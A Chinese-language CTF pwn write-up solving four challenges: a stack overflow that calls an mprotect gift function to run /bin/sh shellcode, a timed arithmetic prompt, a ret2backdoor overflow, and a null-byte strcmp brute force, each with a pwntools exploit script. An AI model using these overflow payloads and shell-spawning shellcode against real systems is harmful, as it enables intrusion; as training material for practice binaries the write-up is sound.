ez shellcode

分析

checksec

1

发现开了nx,没开canary

分析main函数

1

发现第一次read获取输入填入bss段的shellcode中,但bss段可读可写不可执行,找找有没有提权函数,没开canary可以利用gets部分截取执行流。

发现提权函数gift(真的是一个好gift)

1

mprotect()函数将bss段的shellcode部分设置为可执行

mprotect()函数注释

mprotect(shellcode, 0x500uLL, 4) 是一个调用 mprotect() 函数的语句,其作用是改变从地址 shellcode 开始、长度为 0x500 字节(即1280字节)的内存区域的保护属性。这里的参数解释如下:

  • shellcode:这是指向需要修改权限的内存区域起始地址的指针。

  • 0x500uLL:表示要修改权限的内存区域的长度,单位是字节。这里使用无符号长整型(unsigned long long),确保可以处理较大的值。

  • 4

    :新的保护标志,通常代表可读、可写和可执行权限。在Linux中,这个值通常是通过宏定义组合而成的:

    • PROT_READ (1) | PROT_WRITE (2) | PROT_EXEC (4)

mprotect() 函数是一个在Unix和类Unix操作系统中使用的系统调用,其主要作用是改变一个内存区域的访问权限。具体来说:

  1. 修改保护属性:mprotect() 允许程序动态地更改指定内存页的访问权限(如可读、可写、可执行等)。
  2. 参数说明:
    • addr:要修改权限的起始地址。
    • len:需要修改权限的内存区域的长度。
    • prot:新的保护标志,可以是以下几种值的组合:
      • PROT_NONE:不可访问
      • PROT_READ:可读
      • PROT_WRITE:可写
      • PROT_EXEC:可执行

思路

首先通过read函数写入64位的shellcode(注意:使用pwntools直接生成的shellcode默认是32位的),本次用的是现成的shellcode

接着通过gets函数进行栈溢出控制执行流到gift函数提权位于bss段存放的shellcode使其可执行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*

context(arch='amd64')

context.log_level = 'debug'

io=process('./shellcode')

shellcode_address=0x401256

io.send(b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05')

payload=b'a'*(0x18+8)+p64(shellcode_address)

io.sendline(payload)

io.interactive()

注意:send()与sendline()的区别,send会直接将指定的数据发送到连接的另一端不会添加任何额外字符,sendline会在发送完数据后自动加上一个换行符。使用send传shellcode防止其被破坏。

1
2
3
4
5
6
7
8
from pwn import *
p = remote('challenge.basectf.fun',47287)
context(arch='amd64')
shellcode = b'\x0f\x05' #\x0f\x05 是系统调用,用来停止这个这次输入
p.send(shellcode)
shellcode1 = b'\x90'*2+asm(shellcraft.sh()) #\x90 是nop 为了覆盖之前的syscall
p.sendline(shellcode1)
p.interactive()

简单的签到(随机数)

分析

简单的执行接收数据后返回,搞懂程序运行逻辑即可得解

checksec

1

IDA分析

程序逻辑很简单,首先生成两个随机数,需要我们在3秒内计算并返回乘积,返回正确即可获得shell

运行程序发现开始会输出一串字符,提示按Enter开始挑战,回车后出现两个数相乘

1

思路

首先利用recv()接收之前的无用数据

利用sendline()传入一个换行符模拟回车

由于输出的数字乘积题目为字符串,需特定接收数字并将其转换为整型,利用recvuntil()接收数字并加int将其转换为整型供后续使用

将数据计算后利用str转换为字符串再利用sendline()传入最后获得shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

io=process('./main')

io.recv()

io.send('\n')

a = int(io.recvuntil('*',drop = True)) #这行代码使用io.recvuntil()函数来读取直到遇到特定字符序列(在这个例子中是' * ')为止的数据。
#'drop=True'参数表示在返回结果时不包含这个特定的结束符。
b = int(io.recvuntil('=',drop = True))

io.sendline(str(a * b))

io.interactive()

你会栈溢出吗

简单的64位栈溢出,注意别忘了堆栈平衡

1
2
3
4
5
6
7
8
9
10
from pwn import*

io=process('./stackover')
lea=0x40073D
backdoor=0x400744
paylode=b'a'*(12+8)+p64(lea)+p64(backdoor)

io.sendline(paylode)

io.interactive()

000000(随机数)

分析:

程序保护全开主要逻辑是通过从/dev/urand设备文件中读取随机数据来作为密码,接着获取输入,将输入数据与password利用strcmp函数进行对比,输入数据正确即可获得flag

1

思路:

密码有128位,爆破不太现实,strcmp函数当检测到\0后结束比较

通过/dev/urandom生成的随机数的每一位数据实际上是一个字节(8位),其值的范围是从0到255(即0x00到0xFF)。这是因为一个字节可以表示256个不同的值(2^8)。因此,对于通过该代码生成的随机数的第一位数据,有256种可能的值。这包括了从0到255的所有整数,涵盖了所有的ASCII控制字符、可打印字符以及其他非打印字符。每次从/dev/urandom读取时,每一位都是独立且随机的,因此每个可能的字节值出现的概率是相等的。

有1/256的概率第一位是\x00\0字符,故发送一个字符\0进行循环尝试

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

filename = './main'
'''
debug = 0
if debug:
io = remote('nc1.ctfplus.cn', 27912)
else:
io = process(filename)
'''
elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
gdb.attach(io)

for i in range(256):
io = process(filename)
try:
io.sendline('\x00')
io.recvuntil('{', timeout = 0.3)
io.interactive()
except:
continue
finally:
io.close()